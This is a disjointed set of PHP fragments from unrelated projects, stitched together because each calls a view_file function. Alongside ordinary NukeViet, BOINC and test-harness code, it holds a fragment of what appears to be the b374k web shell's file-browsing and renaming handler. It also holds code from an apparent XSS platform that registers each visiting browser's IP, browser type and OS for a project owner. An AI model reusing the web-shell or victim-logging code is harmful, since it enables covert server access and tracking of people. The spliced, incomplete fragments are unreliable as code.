function reg() { $i = $_GET['i']; $is_incode = 0; if ($i) { $incode = new IncodeModel(); if ($incode->is_ok($i)) { $is_incode = 1; } } include view_file(); }
function show() { $pid = intval($_GET[pid]); $project = new ProjectModel(); $pro = $project->getby_pid($pid); if ($pro[uid] != $_SESSION['uid']) { cpmsg("无权限", 'error', "?m=xing"); exit; } $xing = new XingModel(); $browsers = $xing->get_browsers($pid); include view_file(); }
function index() { $uid = $_GET['u']; $i = $_GET['i']; if ($uid) { $project = new ProjectModel(); $pid = $project->url_to_pid($uid); if ($pid) { load_lib('Browser'); $ip = get_client_ip(); $type = htmlentities(Browser::get_client_browser()); $os = htmlentities(Browser::get_clinet_os()); $browser = new BrowserModel($ip, $type, $os, $pid); if ($browser->bid) { } else { // 注册 $browser->reg(); //发送邮件 } if (!$browser->bid) { exit; } // 退出处理 //上线部分完毕 include view_file(); } else { header("Location:?m=xing"); } } else { if ($i) { //邀请码注册 header("Location:?m=user&a=reg&i=" . $i); } else { header("Location:?m=xing"); } } }
$path = $path . DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path . "{[|b374k|]}" . get_nav($path) . "{[|b374k|]}"; if (isset($p['showfiles']) && $p['showfiles'] == 'true') { $res .= show_all_files($path); } } else { $res = "error"; } output($res); } elseif (isset($p['viewFile']) && isset($p['viewType'])) { $path = trim($p['viewFile']); $type = trim($p['viewType']); $preserveTimestamp = trim($p['preserveTimestamp']); if (is_file($path)) { $res = view_file($path, $type, $preserveTimestamp); } else { $res = "error"; } output($res); } elseif (isset($p['renameFile']) && isset($p['renameFileTo'])) { $renameFile = trim($p['renameFile']); $renameFileTo = trim($p['renameFileTo']); if (file_exists($renameFile)) { if (rename($renameFile, $renameFileTo)) { $res = dirname($renameFileTo); } else { $res = "error"; } } else { $res = "error";
echo "</pre>\n"; } $user = get_logged_in_user(); //print_r($user); $user_submit = BoincUserSubmit::lookup_userid($user->id); if (!$user_submit) { error_page("no job submission access"); } $action = get_str('action', true); if (!$action) { $action = post_str('action', true); } switch ($action) { case '': list_files($user, ""); break; case 'upload_file': upload_file($user); break; case 'delete_file': delete_file($user); break; case 'download_file': download_file($user); break; case 'view_file': view_file($user); break; default: error_page("no such action: {$action}"); }
$area = defined('NV_COMM_AREA') ? NV_COMM_AREA : 0; $checkss = md5($module_name . '-' . $area . '-' . NV_COMM_ID . '-' . $allowed . '-' . NV_CACHE_PREFIX); //get url comment $url_info = parse_url($client_info['selfurl']); $content_comment = nv_comment_module($module_name, $checkss, $area, NV_COMM_ID, $allowed, 1); } else { $content_comment = ''; } $row['rating_point'] = 0; if (!empty($row['rating_detail'])) { $row['rating_detail'] = explode('|', $row['rating_detail']); if ($row['rating_detail'][1]) { $row['rating_point'] = round((int) $row['rating_detail'][0] / (int) $row['rating_detail'][1]); } } $row['rating_string'] = $lang_module['file_rating' . $row['rating_point']]; if ($row['rating_point']) { $row['rating_string'] = $lang_module['file_rating_note3'] . ': ' . $row['rating_string']; } $flrt = $nv_Request->get_string('flrt', 'session', ''); $flrt = !empty($flrt) ? unserialize($flrt) : array(); $row['rating_disabled'] = !in_array($row['id'], $flrt) ? false : true; $row['edit_link'] = NV_BASE_ADMINURL . 'index.php?' . NV_LANG_VARIABLE . '=' . NV_LANG_DATA . '&' . NV_NAME_VARIABLE . '=' . $module_name . '&edit=1&id=' . $row['id']; $row['del_link'] = NV_BASE_ADMINURL . 'index.php?' . NV_LANG_VARIABLE . '=' . NV_LANG_DATA . '&' . NV_NAME_VARIABLE . '=' . $module_name; $page_title = $row['title']; $key_words = $module_info['keywords']; $description = $row['description']; $contents = view_file($row, $download_config, $content_comment); include NV_ROOTDIR . '/includes/header.php'; echo nv_site_theme($contents); include NV_ROOTDIR . '/includes/footer.php';
/** * 设置面板 */ function setting() { $user = new UserModel(); $data = $user->fetch_first("*", array("uid" => $_SESSION['uid'])); include view_file(); }
$row['rating_point'] = round((int) $row['rating_detail'][0] / (int) $row['rating_detail'][1]); } } $row['rating_string'] = $lang_module['file_rating' . $row['rating_point']]; if ($row['rating_point']) { $row['rating_string'] = $lang_module['file_rating_note3'] . ": " . $row['rating_string']; } $flrt = $nv_Request->get_string('flrt', 'session', ''); $flrt = !empty($flrt) ? unserialize($flrt) : array(); $row['rating_disabled'] = !in_array($row['id'], $flrt) ? false : true; $row['edit_link'] = NV_BASE_ADMINURL . "index.php?" . NV_NAME_VARIABLE . "=" . $module_name . "&edit=1&id=" . (int) $row['id']; $row['del_link'] = NV_BASE_ADMINURL . "index.php?" . NV_NAME_VARIABLE . "=" . $module_name; $row['disabled'] = ""; $row['comment_uname'] = ""; $row['comment_uemail'] = ""; $row['comment_subject'] = $lang_module['file_comment_re'] . ": " . $row['title']; if (defined('NV_IS_USER')) { $row['disabled'] = " disabled=\"disabled\""; $row['comment_uname'] = !empty($user_info['full_name']) ? $user_info['full_name'] : $user_info['username']; $row['comment_uemail'] = $user_info['email']; } else { $row['comment_uname'] = $lang_module['file_comment_username']; $row['comment_uemail'] = $lang_module['file_comment_useremail']; } $page_title = $row['title']; $key_words = $module_info['keywords']; $description = $list_cats[$row['catid']]['description']; $contents = view_file($row, $download_config); include NV_ROOTDIR . "/includes/header.php"; echo nv_site_theme($contents); include NV_ROOTDIR . "/includes/footer.php";
} define('NV_PER_PAGE_COMMENT', 5); //Số bản ghi hiển thị bình luận require_once NV_ROOTDIR . '/modules/comment/comment.php'; $area = defined('NV_COMM_AREA') ? NV_COMM_AREA : 0; $checkss = md5($module_name . '-' . $area . '-' . NV_COMM_ID . '-' . $allowed . '-' . NV_CACHE_PREFIX); $content_comment = nv_comment_module($module_name, $checkss, $area, NV_COMM_ID, $allowed, 1); } $row['rating_point'] = 0; if (!empty($row['rating_detail'])) { $row['rating_detail'] = explode('|', $row['rating_detail']); if ($row['rating_detail'][1]) { $row['rating_point'] = round((int) $row['rating_detail'][0] / (int) $row['rating_detail'][1]); } } $row['rating_string'] = $lang_module['file_rating' . $row['rating_point']]; if ($row['rating_point']) { $row['rating_string'] = $lang_module['file_rating_note3'] . ': ' . $row['rating_string']; } $flrt = $nv_Request->get_string('flrt', 'session', ''); $flrt = !empty($flrt) ? unserialize($flrt) : array(); $row['rating_disabled'] = !in_array($row['id'], $flrt) ? false : true; $row['edit_link'] = NV_BASE_ADMINURL . 'index.php?' . NV_LANG_VARIABLE . '=' . NV_LANG_DATA . '&' . NV_NAME_VARIABLE . '=' . $module_name . '&edit=1&id=' . $row['id']; $row['del_link'] = NV_BASE_ADMINURL . 'index.php?' . NV_LANG_VARIABLE . '=' . NV_LANG_DATA . '&' . NV_NAME_VARIABLE . '=' . $module_name; $page_title = $row['title']; $key_words = $module_info['keywords']; $description = $row['description']; $contents = view_file($row, $download_config, $content_comment, $array_keyword); include NV_ROOTDIR . '/includes/header.php'; echo nv_site_theme($contents); include NV_ROOTDIR . '/includes/footer.php';
/** * 包含模板 * * @param string $alias * * @return string */ function partial($alias, $data = array()) { $template = str_finish(app()->config('templates.path'), '/') . view_file($alias); extract(array_merge(app()->view->getData(), $data)); return include $template; }
$srcname = $outdir . DIRECTORY_SEPARATOR . $filename; $refname = $refdir . DIRECTORY_SEPARATOR . $filename; if (!file_exists($refname)) { $n_new++; $s_new[] = $filename; echo "+ {$filename}: No reference to compare with (new test)\n"; if ($view_all || $view_new) { view_file($srcname); } } elseif (compare_files($srcname, $refname)) { $n_same++; if (!$be_quiet) { echo " {$filename}: Matches\n"; } if ($view_all) { view_file($srcname); } } else { $n_diff++; $s_diff[] = $filename; echo "! {$filename}: Output differs\n"; if ($view_all || $view_dif) { view_files($srcname, $refname); } } } # Report the results: echo "\nResults: Same: {$n_same}, New: {$n_new}, Differ: {$n_diff}\n"; if (count($s_diff) > 0) { echo "\nFiles that differ: " . implode(', ', $s_diff) . "\n"; }